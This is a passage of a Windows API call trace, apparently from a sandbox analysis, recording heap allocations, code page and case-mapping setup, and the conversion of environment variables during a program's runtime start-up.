0x2e3750 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x98) returned 0x2e3838 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3e) returned 0x2d5780 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x6c) returned 0x2e38d8 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x6e) returned 0x2e3950 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x78) returned 0x2d3828 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x62) returned 0x2e39c8 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2e) returned 0x2dd3c8 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x48) returned 0x2d90a8 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x28) returned 0x2dcd68 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1a) returned 0x2e1218 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x4a) returned 0x2e3a38 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x72) returned 0x2d38a8 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x30) returned 0x2dd400 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2e) returned 0x2dd438 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1c) returned 0x2e1240 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xd2) returned 0x2e3a90 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x7c) returned 0x2e3b70 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x36) returned 0x2e3bf8 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3a) returned 0x2d57c8 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x90) returned 0x2e3c38 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x24) returned 0x2dcd98 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x30) returned 0x2dd470 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x36) returned 0x2e3cd0 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x48) returned 0x2d90f8 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x52) returned 0x2e3d10 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3c) returned 0x2d5810 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x82) returned 0x2e3d70 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2e) returned 0x2dd4a8 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1e) returned 0x2e1268 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2c) returned 0x2dd4e0 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x54) returned 0x2e3e00 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x52) returned 0x2e3e60 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x2a) returned 0x2dd518 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3c) returned 0x2d5858 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x54) returned 0x2e3ec0 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x24) returned 0x2dcdc8 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x30) returned 0x2dd550 [0048.699] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x8c) returned 0x2e3f20 [0048.699] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e2c78 | out: hHeap=0x2c0000) returned 1 [0048.804] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x800) returned 0x2e21a0 [0048.809] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x80) returned 0x2e29a8 [0048.857] GetLastError () returned 0x0 [0048.857] IsValidCodePage (CodePage=0x4e4) returned 1 [0048.857] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fb1c | out: lpCPInfo=0x18fb1c) returned 1 [0048.863] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f5e4 | out: lpCPInfo=0x18f5e4) returned 1 [0048.868] GetLastError () returned 0x0 [0048.873] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0048.873] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f128, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0048.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f8f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿxKßÑ4û\x18", lpUsedDefaultChar=0x0) returned 256 [0048.873] GetLastError () returned 0x0 [0048.873] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0048.874] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f138, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0048.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18f7f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿxKßÑ4û\x18", lpUsedDefaultChar=0x0) returned 256 [0048.879] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0048.879] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x431d5b) returned 0x409ec9 [0048.931] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2e29a8) returned 0x80 [0048.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0048.943] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1f) returned 0x2e1290 [0048.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x2e1290, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0048.949] GetLastError () returned 0x0 [0048.949] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0x8) returned 0x2e3fb8 [0048.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0048.949] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x36) returned 0x2e2c58 [0048.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x2e2c58, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0048.949] GetLastError () returned 0x0 [0048.954] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0xc) returned 0x2e3fb8 [0048.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0048.954] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x37) returned 0x2e2c98 [0048.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x2e2c98, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0048.954] GetLastError () returned 0x0 [0048.954] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0x10) returned 0x2e3fb8 [0048.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0048.954] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3c) returned 0x2d58a0 [0048.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x2d58a0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0048.954] GetLastError () returned 0x0 [0048.954] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0x14) returned 0x2e3fb8 [0048.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0048.954] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x31) returned 0x2e2cd8 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x2e2cd8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0048.955] GetLastError () returned 0x0 [0048.955] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0x18) returned 0x2e3fb8 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0048.955] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x17) returned 0x2d7980 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x2d7980, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0048.955] GetLastError () returned 0x0 [0048.955] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0x1c) returned 0x2e3fb8 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0048.955] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x24) returned 0x2dcdf8 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x2dcdf8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0048.955] GetLastError () returned 0x0 [0048.955] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0x20) returned 0x2e3fb8 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0048.955] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x14) returned 0x2d79a0 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x2d79a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0048.955] GetLastError () returned 0x0 [0048.955] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0x24) returned 0x2e3fb8 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.955] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xd) returned 0x2e0a18 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x2e0a18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0048.955] GetLastError () returned 0x0 [0048.955] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0x28) returned 0x2e3fb8 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0048.955] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x25) returned 0x2dce28 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x2dce28, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0048.955] GetLastError () returned 0x0 [0048.955] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e3fb8, Size=0x2c) returned 0x2e2d18 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0048.955] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x39) returned 0x2d58e8 [0048.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x2d58e8, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0048.955] GetLastError () returned 0x0 [0048.955] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2e2d18, Size=0x30) returned 0x2e2d18 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0048.956] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x18) returned 0x2d79c0 [0048.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 